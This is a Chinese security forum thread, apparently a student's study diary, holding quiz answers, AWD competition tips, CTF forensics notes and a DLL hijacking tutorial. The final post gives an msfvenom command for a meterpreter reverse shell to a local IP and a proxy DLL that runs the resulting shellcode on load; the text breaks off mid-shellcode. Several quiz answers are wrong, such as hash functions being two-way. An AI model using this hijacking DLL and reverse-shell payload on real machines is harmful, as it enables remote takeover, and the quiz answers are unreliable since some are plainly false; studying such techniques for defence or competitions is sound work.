安全矩阵

 找回密码
 立即注册
搜索
楼主: CDxiaodong

程栋的学习日记

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:25:33 | 显示全部楼层
之前再江西神舟刷的一些面试题
bin文件:
二进制文件,其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件,只是表明它是binary格式。比如虚拟光驱文件常用".bin"作为后缀,但并不意味着所有的bin文件都是虚拟光驱文件。一般来讲是机器代码,汇编语言编译后的结果(磁盘操作系统下汇编语言编译后与".com"文件相类似),用debug、WINHEX,U_EDIT等软件可以打开(通常不一定能看得懂是些什么除非学习过汇编语言)。
linux下生成字典的工具为       crunch
域传送漏洞可以用以下哪4种工具测试       fierce
53端口                  dns
在 Windows 操作系统中,用于备份 EFS 证书的工具是      cipher
下列是常用系统软件评估工具的是                 iss
SATAN是网络扫描工具
使用Winspoof软件,可以用来          隐藏QQ的IP

恶意代码
SenderID 可以判断出电子邮件的确切来源¢因此,可以降低垃圾邮件以及域名欺骗等行为发生的可能。
向查询方法可以让接收邮件的互联网服务商确认邮件发送者是否就是如其所言的真实地址
对网页请求参数进行验证,可以防止SQL注入攻击。
特征代码技术是检测已知计算机病毒的最简单、代价最小的技术。
网络钓鱼的目标往往是细心选择的一些电子邮件地址。
由于网络钓鱼通常利用垃圾邮件进行传播,因此,各种反垃圾邮件的技术也都可以用来反网络钓鱼。
oracle数据库能对密码进行复杂度进行设置。
SQL Server中,权限可以直接授予用户ID。

MySQL不提供字段粒度的访问控制。
MS SQL Server与Sybase SQL Server的身份认证机制基本相同。
为监听器打开日志功能,跟踪监听器命令和对口令的暴力破解,需要进行以
下操作:()
A.  
LSNRCTL>?set?log_directory? /network/admin
B.  
LSNRCTL>?set?log_file? .log
C.  
LSNRCTL>?set?log_status?on?
D.  
LSNRCTL>?save_config?
全都要
Oracle9 数 据 库 可 以 通 过 配 置$ORACLE_HOME\network\admin\sqlnet.ora文件实现数据库层次的基于TCP协议和地址的访问控制。下面说法正确的是()
A.  
首先需要配置TCP.VALIDNODE_CHECKING = yes启用节点检查功能
B.  
其次配置TCP.INVITED_NODES = 192.168.0.12,192.168.0.33将会允许地址是192.168.0网段的12和33的主机访问
C.  
然后配置TCP.EXCLUDED_NODES = 192.168.0.ABC将会禁止地址是192.168.0网段的ABC的主机访问
D.  
要以上配置生效必须重起lsnrctl监听器
全都要


AFL 中并发 fuzz 的时候,需要使用哪两个参数?       -S -M
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro\Session
Manager\Memory Management\MoveImages 的键值用来设定哪种工作模式?映像随机化
_KEXECUTE_OPTIONS 结构的标识位中共几位与 DEP 相关? 
4位
Windows下跳转指令 BL 采用了哪种寻址方式?相对寻址方式
在 ARM 中返回值是通过哪一寄存器来传递的?R0
在以下漏洞溢出的情况,哪些是属于缓冲区溢出的?栈溢出    堆溢出    单字节溢出
Windows 堆分配函数最终都将使用 ntdll.dll 中的哪一函数进行分配?GlobalAlloc()
D5000测试验证系统软件功能与在线系统应尽可能保持一致,至少应覆盖Ⅰ区应用功能,有条件的可以增加Ⅱ、Ⅲ区应用功能---错误
凡需进入应用系统的管理用户,应先进行标识(建立账号);应用系统管理用户标 识一般使用用户名和用户标识符(UID); 并在应用系统的整个生存周期实现用户的唯一性标 识,以及用户名或别名、UID 等之间的一致性---正确
当数据从SSC 之内向其控制范围之外输出时,根据需要可以保留或不保留数据的敏感标记--- 
正确

SSF应实现采用多条命名的访问控制策略的特定功能,说明策略的使用和特征,以及该策略的控制范围 
错误
应通过一定措施确保当系统出现某些确定的故障情况时,SSF 也能维持正常运行,如系统应检 测和报告系统的服务水平已降低到预先规定的最大值  
错误
应按一致的 SSOOS 安全策略模型、形式化功能说明、形式化高层设计、SSF 的结构化实现、 SSF 内部结构复杂度最小化、形式化低层设计、形式化对应性说明的要求,进行 SSOOS 的开 发;.  
错误
windows中的powerusers组默认具有对事件日志的删除权限。----错误
在Linux系统中,通常通过文件/etc/login.defs和/etc/default/useradd,对口令生命期进行综合配置,但是这些设置仅仅在新用户账户创建时候适用,使用chang命令可以修改已存在的账户的口令周期。---正确
iptables可配置具有状态包过滤机制的防火墙。---正确

网络基础
shadow文件是不能被普通用户读取的,只有超级用户才有权读取。
. 正确
MSF 模块开发时, initialize 调用了哪一方法来初始化 info 数据结构?
 
update_info
在以下的的漏洞描述中,属于 UAF ( use-after-free )漏洞的是
  
内存地址对象破坏性调用的漏洞
在一下隧道协议中,属于三层隧道协议的是
IPSec
ICMP泛洪利用了ARP命令的功能
当前纵向加密认证装置证书的真实性与有效性通过装置的本地手工管理手段保证。
  正确
纵向加密认证装置策略中配置的密通的意思为,匹配策略的数据包将被直接转发到对应接口 
错误
纵向加密认证装置设备隧道为OPEN状态时表示当前隧道密钥已经协商成功,已经为加密数据做好准备 
正确
纵向加密认证装置可以通过管理中心配置策略与隧道
正确
纵向加密认证装置日志告警端口一般采用514端口
正确
装置应能承受GB/T15153.1中规定的严酷等级为3级(20V/m)的辐射电磁场干扰实验,在实验期间和实验后装置的性能应符合GB/T17626.1总则9中“a)”规定的要求。
错误
纵向加密认证装置必须能够识别、过滤、转发Trunk协议的报文,本地配置功能必须支持设置VLanID
正确
纵向加密认证装置应支持基于加密隧道的明通功能,根据安全策略,可以对不同的隧道分别设置加密或明传
正确
纵向加密认证装置的外型为2U19英寸标准机箱
 错误
纵向加密认证装置应采用非Intel指令集的处理器
正确
站端没有纵向加密装置,主站端的设备与站端业务机的通信方式为()。明文
智能电网调度技术支持系统使用的纵向加密认证装置应支持建立至少()条加密隧道。 
1024.0
通信加密网关启用syslog远程日志,服务端口是( ) 
UDP 514
 ESP 50)是加密通信使用的协义与端口。
( VPN )是一种架构在公用通信基础设施上的专用数据通信网络,利用IPSec等网络层安全协议和建立在PKI的加密与签名技术来获得私有性
窗体顶端

窗体底端

对远程访问型VPN来说,(  IPSec VPN )产品经常与防火墙及NAT机制存在兼容性问题,导致安全隧道建立失败
在目前GFS集群中,每个集群包含(几千个 )个存储节点
(  MapReduce)是Google提出的用于处理海量数据的并行编程模式和大规模数据集的并行运算的软件架构、
下列选项中,哪条不是GFS选择在用户态下实现的原因:容易扩展
通过以下哪个 NSX 组件可以创建基于软件的虚拟网络?NSX网络虚拟化管理程序
以下哪项 VMware 技术可以实现全面的虚拟网络连接?
NSX
利用虚拟化,组织可以快速而灵活地应对需求的动态变化。以下哪项虚拟环境功能可以实现这一目标---弹性
虚拟网络连接环境中可能使用了各种不同的技术。连接到 Virtual Distributed Switch 的虚拟机可能需要与 NSX 逻辑交换机上的虚拟机进行通信。利用以下哪项功能,可以在逻辑交换机上的虚拟机和分布式端口组上的虚拟机之间建立直接以太网连接?
 
VXLAN到VLAN的桥接


以下哪项功能使用快照为屋里和虚拟桌面提供回复功能?
Horizon Mirage地平线海市蜃楼
链接克隆的特点是什么
链接克隆用于减少虚拟桌面的补休和更新操作
hinApp(瘦身应用程序)为Horizon View提供什么作用? 
ThinApp 用于创建虚拟沙盒以便将应用程序部署到虚拟桌面
虚拟桌面如何查找最近的打印机?
打印机通过GPO组策略对象(Group Policy Object)定义

以下哪顶是第1类虚拟化管理程序的典型特征?
 
第1类虚拟化管理程序作为应用程序在Windows或Linu中运行
vSphere可以解决的扩展性难题是什么?
添加新物理服务器后自动平衡虚拟机
虚拟机如何能在网络上与物理设备通信? 
虚拟机通过上行链路端口连接到虚拟交换机;虚拟交换机通过虚拟机端口组连接到物理网络
vSphere可以解决的可用性难题是什么?
可在不影响应用的情况下随时执行硬件维护
虚拟化可以做什么?
使您购买更多服务器
实施数据中心虚拟化的原因是
 
可以省电
以下哪项功能是VMware环境中共享存储的优势
允许部署HA集群
vSphere可以解决的可用性难题是什么
 
无中断的灾难恢复测试
常规端口扫描和半开式扫描的区别是?
 
没有完成三次握手,缺少ACK过程
路由器可以通过源地址、 目的地址、 用户、 协议来限制带宽
不同设VLAN之间要进行通信,可以通过交换机
加密装置管理系统与加密装置之间的远程通信报文是(  
明文)传输的。
纵向加密认证装置初始化时,( 导入装置管理系统证书)不是必须做的。
纵向加密装置设备运行正常,因某种原因将其手动关闭时,不会出现以下何种情况(该网络链路长时间中断 )
( 隧道)是加密认证网关之间协商后的传输通道,数据包在其中进行安全传输
纵向加密装置登录密码,我们应采取正确的措施有(使用数字字母组合方式)

纵向加密认证装置(非微型)数据包转发延迟要求为:
.  
小于1ms

以下哪一种装置至少两台才能正常工作?
纵向加密认证装置
不允许把属于低安全等级区域的业务系统或其功能模块放置于高安全等级区域。
错误
移动安全:
关于this call调用以下说法不正确的是
 
this指针通过堆栈或者ecx传递

下面哪一项为系统安全工程能力成熟度模型提供了评估方法?
SSAM
软件安全开发中软件安全需求分析阶段的主要目的是:
  
确定开发团队关键里程碑和交付成果
Smurf 利用下列哪种协议进行攻击? 
TCP
当用户输入的数据被一个解释器当做命令或查询语句的一部分执行时,就会产生哪种类型的漏洞?缓冲区溢出
下列哪种技术不是恶意代码的生产技术? 
加密技术
下列对跨站脚本攻击(XSS)的描述正确的是
 
XSS攻击指的是恶意攻击者往WED页面里插入恶意代码,当用户浏览浏览该页之时,嵌入其中WEB里面的代码会执行,从 而达到恶意攻击用户的特殊目的

攻击者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面 ,嵌入其中的脚步将被解释执行,这是哪种类型的漏洞?
缓冲区溢出
]
在WINDOWS操作系统中,欲限制用户无效登录的次数,应当怎么做?
在“本地安全设置”中对“用户权利指派”进行设置

在OSI参考模型中有7个层次,提供了相应的安全服务来加强信息系统的安全性。以下哪一层提供了保密性、身份鉴别、 数据完整性服务?
网络层
以下对Kerberos协议过程说法正确的是:  
协议可以分为两个步骤:一是用户身份鉴别:二是获取请求服务
认证中心(CA)的核心职责是_?
公布黑名单
DSA算法不提供以下哪种服务?
  
认证
目前对MD5,SHA1算法的攻击是指:对于一个已知的消息摘要,能够构造出一个不同的消息,这两个消息产生了相同的消息摘要
公钥密码算法和对称密码算法相比,在应用上的优势是:
 安全性更高
以下关于信息系统安全保障是主观和客观的结合说法最准确的是:
是主观和客观综合评估的结果
下面哪一项表示了信息不被非法篡改的属性? 
完整性
信息安全保障强调安全是动态的安全,意味着:信息安全只能是保证信息系统在有限物理范围内的安全,无法保证整个信息系统的安全
下面哪一项是监理单位在招标阶段质量控制的内容?
协助建设单位提出工程需求,确定工程的整体质量目标
信息安全工程监理工程师不需要做的工作是:
编写验收测试方案

根据SSE-CMM信息安全工程过程可以划分为三个阶段,其中__确立安全解决方案的置信度并且把这样的置信度传递给客户
保证过程
如果一名攻击者截获了一个公钥,然后他将这个公钥替换为自己的公钥并发送给接收者,这种情况属于哪一种攻击?中间人攻击
下列属于DDOS攻击的是:
SYN洪水攻击
攻击者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,这是哪种类型的漏洞?
 
跨站脚本
数据库事务日志的用途是什么?数据恢复
在关系型数据库系统中通过“视图(view)”技术,可以实现以下哪一种安全原则?

最小权限原则
在Unix系统中,/etc/service文件记录了什么内容?
记录一些常用的接口及其所提供的服务的对应关系
有一类IDS系统将所观察到的活动同认为正常的活动进行比较并识别重要的偏差来发现入侵事件,这种机制称作:
异常检测

以下哪种无线加密标准的安全性最弱?
Wep
WAPI采用的是什么加密算法?
我国自主研发的公开密钥体制的椭圆曲线密码算法
某个客户的网络限制可以正常访问internet互联网,共有200台终端PC但此客户从ISP(互联网络服务提供商)里只获得了16个公有的IPv4地址,最多也只有16台PC可以访问互联网,要想让全部200台终端PC访问internet互联网最好采取什么办法或技术:
在网络的出口路由器上做源NAT
下面哪一项访问控制模型使用安全标签(security labels)?
 
强制访问控制
以下关于访问控制表和访问能力表的说法正确的是
访问能力表更容易实现访问权限的传递,但回收访问权限较困难

下面对访问控制技术描述最准确的是:
防止对系统资源的非授权访问
以下对于安全套接层(SSL)的说法正确的是
主要使用于点对点之间的信息传输,常用Web server方式
时间戳的引入主要是为了防止:
重放
如果只能使用口令远程认证,以下哪种方案安全性最好?
动态随机口令,明文传输
通常以太网采用了( )协议以支持总线型的结构。
载波侦听与冲突检测CSMA/CD
下列关于哈希函数的说法中,正确的是
哈希函数是一种双向密码体制
.bak      .backup    .git     .svn
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:27:41 | 显示全部楼层
本帖最后由 CDxiaodong 于 2021-10-16 17:28 编辑

之前再江西信安研究院学的一些AWD总结和最近学的一些有效的AWD0tips
要问问是否能透露check的内容
Socket-pwn
要记录靶机信息并放在常用位置
网站备份
Sql文件要脱裤
备份pwn的主程序
左边看有无被打,右上角看有无checked
修漏洞后没修好可以恢复备份再修
写脚本去批量{}poc/exp(那这个漏洞去打其他靶机)
官方的流量监控可能会给也可能不会给。提前自己装来拦截(web pwn都有)
多用Ssh sstp进行文件传输
D盾漏洞(如果扫到一句话木马文件啥的,可以先移到其他文件夹,因为别人只会针对这个文件夹进行批量扫,然后移走的话以后好防止裁判就check这个文件)
靶机不能装软件,但是可以装python脚本(灰色地带)
说是不让上waf(看你勇不勇,能上就上),但是流量监控可以上
防check printmatch 黑名单。删掉或者注释(看程度)
Xftp备份的话全部备份,但是最好先下载var包,下载玩直接扫var包,var包里才是网站主要漏洞,植入shell后再查看其他包
查自己包的漏洞
用chattr命令防止系统中某个关键文件被修改:
chattr +i /etc/profile
将/var/www/html目录下的文件设置为不允许任何人修改:
chattr -R +i /var/www/html

查漏洞利用方法然后写exp

Whachbird install var/www/。。/         装waf,可以直接再浏览器上看流量啥的(还可以流量重放)
Github的awd.py脚本可以连进xftp后自动化使用,一键拉网站,一键恢复啥的。下载后python终端pip install -r requestment.txt,或者kali直接clone
当防守方吧文件命令的某些函数改成escapeshell,其实还是可以绕过的(有针对escape函数绕过的方法)
利用扫的漏洞写exp脚本(主函数脚本)
几个针对各种漏洞利用脚本
一个返回flag脚本(利用正则来找到flag{}并返回)
Tar -cvf backup_1.tar.gz /var/www/html进行ssh备份
AWD的exp脚本和waf脚本github上很多,主要还是需要自己会进行修改
靶机上没有pathon的那些库,需要自己打包传上去,要库干嘛呢?要用来运行上waf的脚本什么的

抓流量:
做一个waf.php脚本来拦截和抓流量

一些工具:
Ternius(自带Xftp)xshell
代码审计工具(较近的)
一些脚本(用虚拟机跑)
check内容不会透露

咋那么通过流量复原exp

PWN:
只要会分析流量,就有一些分数。但是还是要会一点pwn,才能更好的分析流量
可以打开IDA把所有free都nop掉
只需要修改waf的makefile的一些参数(路径,端口)
然后make catph和make forwoad进行流量监控和流量转发,然后上传到靶机的主目录,替换文件,然后就能进行作用
主办方会在每轮发给你pacp的包(这段时间内别人攻击你的流量)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:33:45 | 显示全部楼层
之前学习AWD是做的cardinal的使用教程
这里使用的是Linux版本的。首先将其下载下来并解压
tar -zxvf Cardinal_VERSION_OS_ARCH.tar.gz
赋予Cardianl程序权限chmod +x ./Cardinal
运行Cardinal    ./Cardinal
如果是第一次运行该程序则需要进行配置,按照提示配置即可,需要注意的是在选择数据库的时候需要选择一个空的数据库,其默认数据库名为Cardinal,创建数据库的SQL语句如下:
create database cardinal DEFAULT CHARACTER set utf8mb4 collate utf8mb4_unicode_ci
填比赛开启时间的时候一定要在管理员添加好题目、队伍等信息之后的时间,且生成flag要在这个时间前面。且需注意平台所用的时间比北京时间晚了7分钟,配置的时候需要注意。然后访问管理端ip:19999/manager,进行登录。
登录后,首先在队伍管理里面添加队伍。记录队伍的账号密码。
在题目管理中添加题目,这里的自动更新flag,就是通过ssh将靶机上面的flag文件更新,必须使用该功能,否则不能每一轮都更新flag。

在靶机管理中添加靶机,这里的靶机IP就是靶机ip,题目描述可将靶机的ssh账号和密码添加在其中

需将所有靶机添加完之后才可以在FLAG管理中点击“生成        flag”,不然后面添加的靶场不能更新flag,这样就将该场比赛所有flag生成

在靶机管理中测试测试ssh连接,这样就在靶机的根目录生成flag文件,flag文件里面的flag每轮都会更新。这个时间需要在比赛开启时间之前,不然靶机的flag文件并不会生成。

当比赛开始后在靶机管理中将题目设置为可见,这样题目才可以在选手端显示出来

根据比赛的难度可以在靶机管理中设置队伍靶机是否相互可见。
在选手端,可以看见属于自己的题目,每个题目对应一台主机

根据比赛需要可以看见靶机列表即该场比赛的所有主机。这里提交flag的方式有两种,一种是直接提交flag,一种是发送POST数据包提交flag,很可以写脚本利用POST数据包批量提交flag。
如果需要开启一场新的比赛,首先需要将Config这个文件夹删除,然后将数据库cardinal删除,不然会导致管理员登录不上,且两场比赛设置之间需将kali清楚缓存,否则会存在端口占用现象。
docker开启ssh服务的方法:
docker run -t -i 容器ID /bin/bash//启动一个容器并进入其终端

apt-get install openssh-server openssh-client //在容器中安装ssh服务
passwd//修改root密码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:34:49 | 显示全部楼层
之前作ctf的一些个人总结

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:35:13 | 显示全部楼层
解密特征
U2FsdGVkX19T7VS86emCFReuh2Tjc3ZtbB5HMHebPd8=   AES解密
zip伪加密    在50 4B 01 02 之后的第一个09改为00
png尝试修改宽高看一下,将高度的00 00 00 F0 修改成00 00 01 2C (01 2C 为高度30010进制转16)
Rar的文件头一般是52617221
8:V5Y:7,Y,3MU=$8D%11&9O6BY .G,M     为uuencode+base85
查看这些xml文件 最后在document.xml找密码
webp文件和stegpy有关   可以用一个stegpy的python脚本解码  pip3 install stegpy;  stegpy csgo.riff(csgo.webp)
哈夫曼树原理:https://blog.csdn.net/qq_29519041/article/details/81428934
画图反色(ctrl+shift+i)

明文攻击:原理:有一个需要解密的ZIP而且不知道密码,但幸运的是有ZIP包里一个已知文件,
将已知文件进行ZIP加密后和待解密的ZIP里已知文件进行hex对比,两者的区别就是ZIP加密
的三个key(压缩包中的每个文件都是通过这三个Key进行加密压缩的),由此得到加密文件
的三个key。


用360解压可以看压缩包是否有损损坏,360zip打开,提示头部数据损坏,使用WinRAR打开则提示输入密码,因此推测压缩包的二进制文件被修改了。
有些压缩包提示损坏,打不开,伪加密等,直接用winrar等工具自带的修复,有奇效

jpg修改宽高:在FF C0 00 11 08后改为 03 CF 02
010打开文本里面有‘s-x=`  .aBM  j’表现可能存在7z的压缩方式
snowfall: whitespeace解密(无考虑其他任何字符,只考虑空白符)
六位CRC32爆破  https://github.com/theonlypwner/crc32
winhex发现了elf文件数据 将elf文件头前面的部分全部删掉,然后保存(注意elf前的空格不能删)
文字后面还有隐藏的数据。用Notepad++打开

wps查看隐藏文字   文件-选项-视图-隐藏文字
gunplot的神器,它是一个命令行的交互式绘图工具,可以将坐标绘制成图像。

HINT-ZmxhZ3tDb29seW91R290SXROb3dZb3VLbm93VGhlRmxhZ30 想z开头的也可能是base64;

kali可以使用more shadow命令查看shadow文件信息。进而john [OPTIONS] [PASSWORD-FILES] john [选项] [密码文件] --show[=LEFT] 显示破解的密码[如果=左,然后uncracked]
john --show shadow
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:37:18 | 显示全部楼层
上面这些小工具以后再做个总结把   现在懒得做  先提上日程
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-24 17:54:57 | 显示全部楼层
# DLL劫持学习及复现

参考dll劫持https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd

dll劫持+dll制作(且更深入一些):
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd

1.process-explorer

```
下载地址:https://docs.microsoft.com/zh-cn ... ds/process-explorer
```

可以

![image-20211021205525708](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211021205525708.png)

可以用find找运行的dll文件

2.火绒剑

![image-20211021205922928](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211021205922928.png)

3.Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

```
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
```



测试:

win+r:regedit打开注册表












knowsdll(windows10自带的注册表地址):HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs



c了   写到一半不小心点到弹窗的重启了,之前写的都没了  

直接延续下来吧

进阶测试:


1.首先使用VS2019新建一个DLL项目(动态链接库)

```c
// dllmain.cpp : 定义 DLL 应用程序的入口点。``#include "pch.h"` `BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄``                       DWORD  ul_reason_for_call, // 调用原因``                       LPVOID lpReserved // 参数保留``                     )``{``    switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式``    {``    case DLL_PROCESS_ATTACH: // DLL被某个程序加载``    case DLL_THREAD_ATTACH: // DLL被某个线程加载``    case DLL_THREAD_DETACH: // DLL被某个线程卸载``    case DLL_PROCESS_DETACH: //DLL被某个程序卸载``        break;``    }``    return TRUE;``}
```

![image-20211023180516436](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023180516436.png)

在生成的dllmain.cpp下添加

```
void msg() {    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);}
```

![image-20211023181126970](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181126970.png)

然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

```c#
#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
```

![image-20211023181330474](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181330474.png)

然后编译生成Dll1.dll

![image-20211023181416585](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181416585.png)

再新建一个C++项目,填入如下代码

```c++
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定义一个函数类DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定动态加载dll库
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
    if (hinst != NULL) {
        // 获取函数位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
    }
    if (GetDllfunc != NULL) {
        //运行msg函数
        (*GetDllfunc)();
    }
}
```

再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe

![image-20211023182430858](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023182430858.png)

注意这里新建的是c++能够编译程序的项目

就是VS的那个空白项

![image-20211023183257644](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023183257644.png)

![image-20211023183317391](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023183317391.png)

成功弹窗



接下来开始劫持

新建一个dll项目

```c#
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = { 0 };
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//添加自己的代码
{

}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if (Load())
        {
            Hijack_msg = GetAddress("msg");

            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll(将原来的dll名写在转发方法里,然后将生成的dll文件重命名为劫持的dll文件名)。后面生成的dll4改为dll1

```
lstrcpy(tzPath, TEXT("Dll2.dll"));
```

然后在代码这一行添加弹窗或者执行shellcode

```c++
VOID Hijack()   //default open a calc.
{      
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L"", 0);    #回显框  
}
```

然后编译生成

成功执行两个弹窗

一个HIjack 一个successd



0x03  使用dll文件劫持主机

生成shellcode:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.193 -b '\xfc\xe8' lport=4444 -f c
```

生成dll:

# include "pch.h"

# define EXTERNC extern "C"

# define NAKED __declspec(naked)

# define EXPORT EXTERNC __declspec(dllexport)

# define ALCPP EXPORT NAKED

# define ALSTD EXTERNC EXPORT NAKED void __stdcall

# define ALCFAST EXTERNC EXPORT NAKED void __fastcall

# define ALCDECL EXTERNC NAKED void __cdecl

```c++
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl

EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = { 0 };
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll2.dll"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }

#include "pch.h"
#include "windows.h"
    //开始转发,将函数方法转发
    //导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            unsigned char buf[] =
                "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
                "\xff\xff\x48\xbb\x66\x9a\x22\x85\x4f\xee\xee\xb7\x48\x31\x58"
                "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x9a\xd2\xa1\x61\xbf\x06"
                "\x22\xb7\x66\x9a\x63\xd4\x0e\xbe\xbc\xe6\x2e\xab\xf0\xd3\x2a"
                "\xa6\x65\xe5\x06\xd2\xa9\xd7\x57\xa6\x65\xe5\x46\xd7\x13\x4c"
                "\x07\x65\x9c\xe7\x2e\x95\x95\xcf\x05\xa6\xdf\x77\xca\xa6\x43"
                "\xf9\x4d\xc2\xce\xf6\xa7\x53\x2f\xc4\x4e\x2f\x0c\x5a\x34\xdb"
                "\x73\xcd\xc4\xbc\xce\x3c\x24\xa6\x6a\x84\x9f\x88\x6f\xcf\x7e"
                "\x91\x20\x8a\xca\x9c\xee\xb7\x66\x11\xa2\x0d\x4f\xee\xee\xff"
                "\xe3\x5a\x56\xe2\x07\xef\x3e\x3c\x2e\x82\x72\xc1\xc4\xae\xce"
                "\xfe\x67\x4a\xc1\xd3\x07\x11\x27\xf6\xed\xae\xaa\xc8\x7e\x27"
                "\xa6\xb6\xb0\xd2\x13\x45\xe3\xaf\x2f\x7e\x6b\xdb\x23\x44\x77"
                "\x0e\x9b\x46\x2a\x99\x6e\xa1\x47\xab\xd7\x66\x13\x42\x7a\xc1"
                "\xc4\xae\xca\xfe\x67\x4a\x44\xc4\xc4\xe2\xa6\xf3\xed\xda\x3e"
                "\xcc\x4e\x3e\xaf\x3c\x62\x12\x63\xdd\x07\xef\x3e\xf6\x3e\xc4"
                "\x7b\xdf\x0e\xb6\xaf\xee\x27\xc0\x6a\x06\xa3\xce\xaf\xe5\x99"
                "\x7a\x7a\xc4\x16\xb4\xa6\x3c\x74\x73\x69\x7a\xb0\x11\xb3\xfe"
